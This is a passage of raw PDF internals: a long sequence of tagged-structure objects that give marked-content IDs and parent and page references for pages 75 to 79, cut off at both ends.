75 0 R +/S /P +/Type /StructElem +>> +endobj +3457 0 obj +<< +/K [66 67] +/P 5820 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3458 0 obj +<< +/K [68 69] +/P 5820 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3459 0 obj +<< +/K [70 71] +/P 5820 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3460 0 obj +<< +/K [72 73] +/P 5821 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3461 0 obj +<< +/K [74 75] +/P 5822 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3462 0 obj +<< +/K [76 77] +/P 5823 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3463 0 obj +<< +/K [78 79] +/P 5823 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3464 0 obj +<< +/K [80 81] +/P 5823 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3465 0 obj +<< +/K [82 83] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3466 0 obj +<< +/K [84 85] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3467 0 obj +<< +/K [86 87] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3468 0 obj +<< +/K [88 89] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3469 0 obj +<< +/K [90 91] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3470 0 obj +<< +/K [92 93] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3471 0 obj +<< +/K [94 95] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3472 0 obj +<< +/K [96 97] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3473 0 obj +<< +/K [98 99] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3474 0 obj +<< +/K [100 101] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3475 0 obj +<< +/K [102 103] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3476 0 obj +<< +/K [104 105] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3477 0 obj +<< +/K [106 107] +/P 5824 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3478 0 obj +<< +/K [0 1] +/P 5825 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3479 0 obj +<< +/K [2 3] +/P 5826 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3480 0 obj +<< +/K [4 5] +/P 5827 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3481 0 obj +<< +/K [6 7] +/P 5828 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3482 0 obj +<< +/K [8 9] +/P 5829 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3483 0 obj +<< +/K [10 11] +/P 5830 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3484 0 obj +<< +/K [12 13] +/P 5831 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3485 0 obj +<< +/K [14 15] +/P 5832 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3486 0 obj +<< +/K [16 17] +/P 5833 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3487 0 obj +<< +/K [18 19] +/P 5834 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3488 0 obj +<< +/K [20 21] +/P 5834 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3489 0 obj +<< +/K [22 23] +/P 5834 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3490 0 obj +<< +/K [24 25] +/P 5834 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3491 0 obj +<< +/K [26 27] +/P 5835 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3492 0 obj +<< +/K [28 29] +/P 5836 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3493 0 obj +<< +/K [30 31] +/P 5837 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3494 0 obj +<< +/K [32 33] +/P 5837 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3495 0 obj +<< +/K [34 35] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3496 0 obj +<< +/K [36 37] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3497 0 obj +<< +/K [38 39] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3498 0 obj +<< +/K [40 41] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3499 0 obj +<< +/K [42 43] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3500 0 obj +<< +/K [44 45] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3501 0 obj +<< +/K [46 47] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3502 0 obj +<< +/K [48 49] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3503 0 obj +<< +/K [50 51] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3504 0 obj +<< +/K [52 53] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3505 0 obj +<< +/K [54 55] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3506 0 obj +<< +/K [56 57] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3507 0 obj +<< +/K [58 59] +/P 5838 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3508 0 obj +<< +/K [60 61] +/P 5839 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3509 0 obj +<< +/K [62 63] +/P 5840 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3510 0 obj +<< +/K [64 65] +/P 5840 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3511 0 obj +<< +/K [66 67] +/P 5840 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3512 0 obj +<< +/K [68 69] +/P 5840 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3513 0 obj +<< +/K [70 71] +/P 5841 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3514 0 obj +<< +/K [72 73] +/P 5842 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3515 0 obj +<< +/K [74 75] +/P 5843 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3516 0 obj +<< +/K [76 77] +/P 5843 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3517 0 obj +<< +/K [78 79] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3518 0 obj +<< +/K [80 81] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3519 0 obj +<< +/K [82 83] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3520 0 obj +<< +/K [84 85] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3521 0 obj +<< +/K [86 87] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3522 0 obj +<< +/K [88 89] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3523 0 obj +<< +/K [90 91] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3524 0 obj +<< +/K [92 93] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3525 0 obj +<< +/K [94 95] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3526 0 obj +<< +/K [96 97] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3527 0 obj +<< +/K [98 99] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3528 0 obj +<< +/K [100 101] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3529 0 obj +<< +/K [102 103] +/P 5844 0 R +/Pg 76 0 R +/S /P +/Type /StructElem +>> +endobj +3530 0 obj +<< +/K [0 1] +/P 5845 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3531 0 obj +<< +/K [2 3] +/P 5846 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3532 0 obj +<< +/K [4 5] +/P 5847 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3533 0 obj +<< +/K [6 7] +/P 5848 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3534 0 obj +<< +/K [8 9] +/P 5849 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3535 0 obj +<< +/K [10 11] +/P 5850 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3536 0 obj +<< +/K [12 13] +/P 5851 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3537 0 obj +<< +/K [14 15] +/P 5852 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3538 0 obj +<< +/K [16 17] +/P 5853 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3539 0 obj +<< +/K [18 19] +/P 5854 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3540 0 obj +<< +/K [20 21] +/P 5854 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3541 0 obj +<< +/K [22 23] +/P 5854 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3542 0 obj +<< +/K [24 25] +/P 5854 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3543 0 obj +<< +/K [26 27] +/P 5855 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3544 0 obj +<< +/K [28 29] +/P 5856 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3545 0 obj +<< +/K [30 31] +/P 5857 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3546 0 obj +<< +/K [32 33] +/P 5857 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3547 0 obj +<< +/K [34 35] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3548 0 obj +<< +/K [36 37] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3549 0 obj +<< +/K [38 39] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3550 0 obj +<< +/K [40 41] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3551 0 obj +<< +/K [42 43] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3552 0 obj +<< +/K [44 45] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3553 0 obj +<< +/K [46 47] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3554 0 obj +<< +/K [48 49] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3555 0 obj +<< +/K [50 51] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3556 0 obj +<< +/K [52 53] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3557 0 obj +<< +/K [54 55] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3558 0 obj +<< +/K [56 57] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3559 0 obj +<< +/K [58 59] +/P 5858 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3560 0 obj +<< +/K [60 61] +/P 5859 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3561 0 obj +<< +/K [62 63] +/P 5860 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3562 0 obj +<< +/K [64 65] +/P 5860 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3563 0 obj +<< +/K [66 67] +/P 5861 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3564 0 obj +<< +/K [68 69] +/P 5862 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3565 0 obj +<< +/K [70 71] +/P 5863 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3566 0 obj +<< +/K [72 73] +/P 5863 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3567 0 obj +<< +/K [74 75] +/P 5863 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3568 0 obj +<< +/K [76 77] +/P 5864 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3569 0 obj +<< +/K [78 79] +/P 5865 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3570 0 obj +<< +/K [80 81] +/P 5865 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3571 0 obj +<< +/K [82 83] +/P 5865 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3572 0 obj +<< +/K [84 85] +/P 5866 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3573 0 obj +<< +/K [86 87] +/P 5866 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3574 0 obj +<< +/K [88 89] +/P 5866 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3575 0 obj +<< +/K [90 91] +/P 5867 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3576 0 obj +<< +/K [92 93] +/P 5868 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3577 0 obj +<< +/K [94 95] +/P 5869 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3578 0 obj +<< +/K [96 97] +/P 5869 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3579 0 obj +<< +/K [98 99] +/P 5869 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3580 0 obj +<< +/K [100 101] +/P 5869 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3581 0 obj +<< +/K [102 103] +/P 5870 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3582 0 obj +<< +/K [104 105] +/P 5871 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3583 0 obj +<< +/K [106 107] +/P 5871 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3584 0 obj +<< +/K [108 109] +/P 5871 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3585 0 obj +<< +/K [110 111] +/P 5872 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3586 0 obj +<< +/K [112 113] +/P 5873 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3587 0 obj +<< +/K [114 115] +/P 5874 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3588 0 obj +<< +/K [116 117] +/P 5874 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3589 0 obj +<< +/K [118 119] +/P 5875 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3590 0 obj +<< +/K [120 121] +/P 5876 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3591 0 obj +<< +/K [122 123] +/P 5876 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3592 0 obj +<< +/K [124 125] +/P 5876 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3593 0 obj +<< +/K [126 127] +/P 5877 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3594 0 obj +<< +/K [128 129] +/P 5878 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3595 0 obj +<< +/K [130 131] +/P 5879 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3596 0 obj +<< +/K [132 133] +/P 5879 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3597 0 obj +<< +/K [134 135] +/P 5879 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3598 0 obj +<< +/K [136 137] +/P 5880 0 R +/Pg 77 0 R +/S /P +/Type /StructElem +>> +endobj +3599 0 obj +<< +/K [0 1] +/P 5881 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3600 0 obj +<< +/K [2 3] +/P 5882 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3601 0 obj +<< +/K [4 5] +/P 5883 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3602 0 obj +<< +/K [6 7] +/P 5884 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3603 0 obj +<< +/K [8 9] +/P 5885 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3604 0 obj +<< +/K [10 11] +/P 5886 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3605 0 obj +<< +/K [12 13] +/P 5887 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3606 0 obj +<< +/K [14 15] +/P 5888 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3607 0 obj +<< +/K [16 17] +/P 5889 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3608 0 obj +<< +/K [18 19] +/P 5890 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3609 0 obj +<< +/K [20 21] +/P 5890 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3610 0 obj +<< +/K [22 23] +/P 5890 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3611 0 obj +<< +/K [24 25] +/P 5891 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3612 0 obj +<< +/K [26 27] +/P 5892 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3613 0 obj +<< +/K [28 29] +/P 5893 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3614 0 obj +<< +/K [30 31] +/P 5893 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3615 0 obj +<< +/K [32 33] +/P 5893 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3616 0 obj +<< +/K [34 35] +/P 5894 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3617 0 obj +<< +/K [36 37] +/P 5895 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3618 0 obj +<< +/K [38 39] +/P 5895 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3619 0 obj +<< +/K [40 41] +/P 5895 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3620 0 obj +<< +/K [42 43] +/P 5896 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3621 0 obj +<< +/K [44 45] +/P 5897 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3622 0 obj +<< +/K [46 47] +/P 5898 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3623 0 obj +<< +/K [48 49] +/P 5898 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3624 0 obj +<< +/K [50 51] +/P 5899 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3625 0 obj +<< +/K [52 53] +/P 5900 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3626 0 obj +<< +/K [54 55] +/P 5900 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3627 0 obj +<< +/K [56 57] +/P 5900 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3628 0 obj +<< +/K [58 59] +/P 5901 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3629 0 obj +<< +/K [60 61] +/P 5902 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3630 0 obj +<< +/K [62 63] +/P 5903 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3631 0 obj +<< +/K [64 65] +/P 5903 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3632 0 obj +<< +/K [66 67] +/P 5904 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3633 0 obj +<< +/K [68 69] +/P 5905 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3634 0 obj +<< +/K [70 71] +/P 5905 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3635 0 obj +<< +/K [72 73] +/P 5905 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3636 0 obj +<< +/K [74 75] +/P 5906 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3637 0 obj +<< +/K [76 77] +/P 5907 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3638 0 obj +<< +/K [78 79] +/P 5908 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3639 0 obj +<< +/K [80 81] +/P 5908 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3640 0 obj +<< +/K [82 83] +/P 5909 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3641 0 obj +<< +/K [84 85] +/P 5910 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3642 0 obj +<< +/K [86 87] +/P 5910 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3643 0 obj +<< +/K [88 89] +/P 5911 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3644 0 obj +<< +/K [90 91] +/P 5912 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3645 0 obj +<< +/K [92 93] +/P 5913 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3646 0 obj +<< +/K [94 95] +/P 5914 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3647 0 obj +<< +/K [96 97] +/P 5915 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3648 0 obj +<< +/K [98 99] +/P 5916 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3649 0 obj +<< +/K [100 101] +/P 5916 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3650 0 obj +<< +/K [102 103] +/P 5916 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3651 0 obj +<< +/K [104 105] +/P 5917 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3652 0 obj +<< +/K [106 107] +/P 5918 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3653 0 obj +<< +/K [108 109] +/P 5919 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3654 0 obj +<< +/K [110 111] +/P 5919 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3655 0 obj +<< +/K [112 113] +/P 5920 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3656 0 obj +<< +/K [114 115] +/P 5921 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3657 0 obj +<< +/K [116 117 118] +/P 5921 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3658 0 obj +<< +/K [119 120] +/P 5922 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3659 0 obj +<< +/K [121 122] +/P 5922 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3660 0 obj +<< +/K [123 124] +/P 5922 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3661 0 obj +<< +/K [125 126] +/P 5923 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3662 0 obj +<< +/K [127 128] +/P 5924 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3663 0 obj +<< +/K [129 130] +/P 5925 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3664 0 obj +<< +/K [131 132] +/P 5925 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3665 0 obj +<< +/K [133 134] +/P 5926 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3666 0 obj +<< +/K [135 136] +/P 5927 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3667 0 obj +<< +/K [137 138] +/P 5928 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3668 0 obj +<< +/K [139 140] +/P 5928 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3669 0 obj +<< +/K [141 142] +/P 5929 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3670 0 obj +<< +/K [143 144] +/P 5930 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3671 0 obj +<< +/K [145 146] +/P 5931 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3672 0 obj +<< +/K [147 148] +/P 5932 0 R +/Pg 78 0 R +/S /P +/Type /StructElem +>> +endobj +3673 0 obj +<< +/K [0 1] +/P 5933 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3674 0 obj +<< +/K [2 3] +/P 5934 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3675 0 obj +<< +/K [4 5] +/P 5935 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3676 0 obj +<< +/K [6 7] +/P 5936 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3677 0 obj +<< +/K [8 9] +/P 5937 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3678 0 obj +<< +/K [10 11] +/P 5938 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3679 0 obj +<< +/K [12 13] +/P 5939 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3680 0 obj +<< +/K [14 15] +/P 5940 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3681 0 obj +<< +/K [16 17] +/P 5941 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3682 0 obj +<< +/K [18 19] +/P 5942 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3683 0 obj +<< +/K [20 21] +/P 5942 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3684 0 obj +<< +/K [22 23] +/P 5942 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3685 0 obj +<< +/K [24 25] +/P 5943 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3686 0 obj +<< +/K [26 27] +/P 5944 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3687 0 obj +<< +/K [28 29] +/P 5945 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3688 0 obj +<< +/K [30 31] +/P 5945 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3689 0 obj +<< +/K [32 33] +/P 5945 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3690 0 obj +<< +/K [34 35] +/P 5945 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3691 0 obj +<< +/K [36 37] +/P 5946 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3692 0 obj +<< +/K [38 39] +/P 5947 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3693 0 obj +<< +/K [40 41] +/P 5947 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3694 0 obj +<< +/K [42 43] +/P 5947 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3695 0 obj +<< +/K [44 45] +/P 5947 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3696 0 obj +<< +/K [46 47] +/P 5948 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3697 0 obj +<< +/K [48 49] +/P 5948 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3698 0 obj +<< +/K [50 51] +/P 5948 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3699 0 obj +<< +/K [52 53] +/P 5949 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3700 0 obj +<< +/K [54 55] +/P 5950 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3701 0 obj +<< +/K [56 57] +/P 5951 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3702 0 obj +<< +/K [58 59] +/P 5951 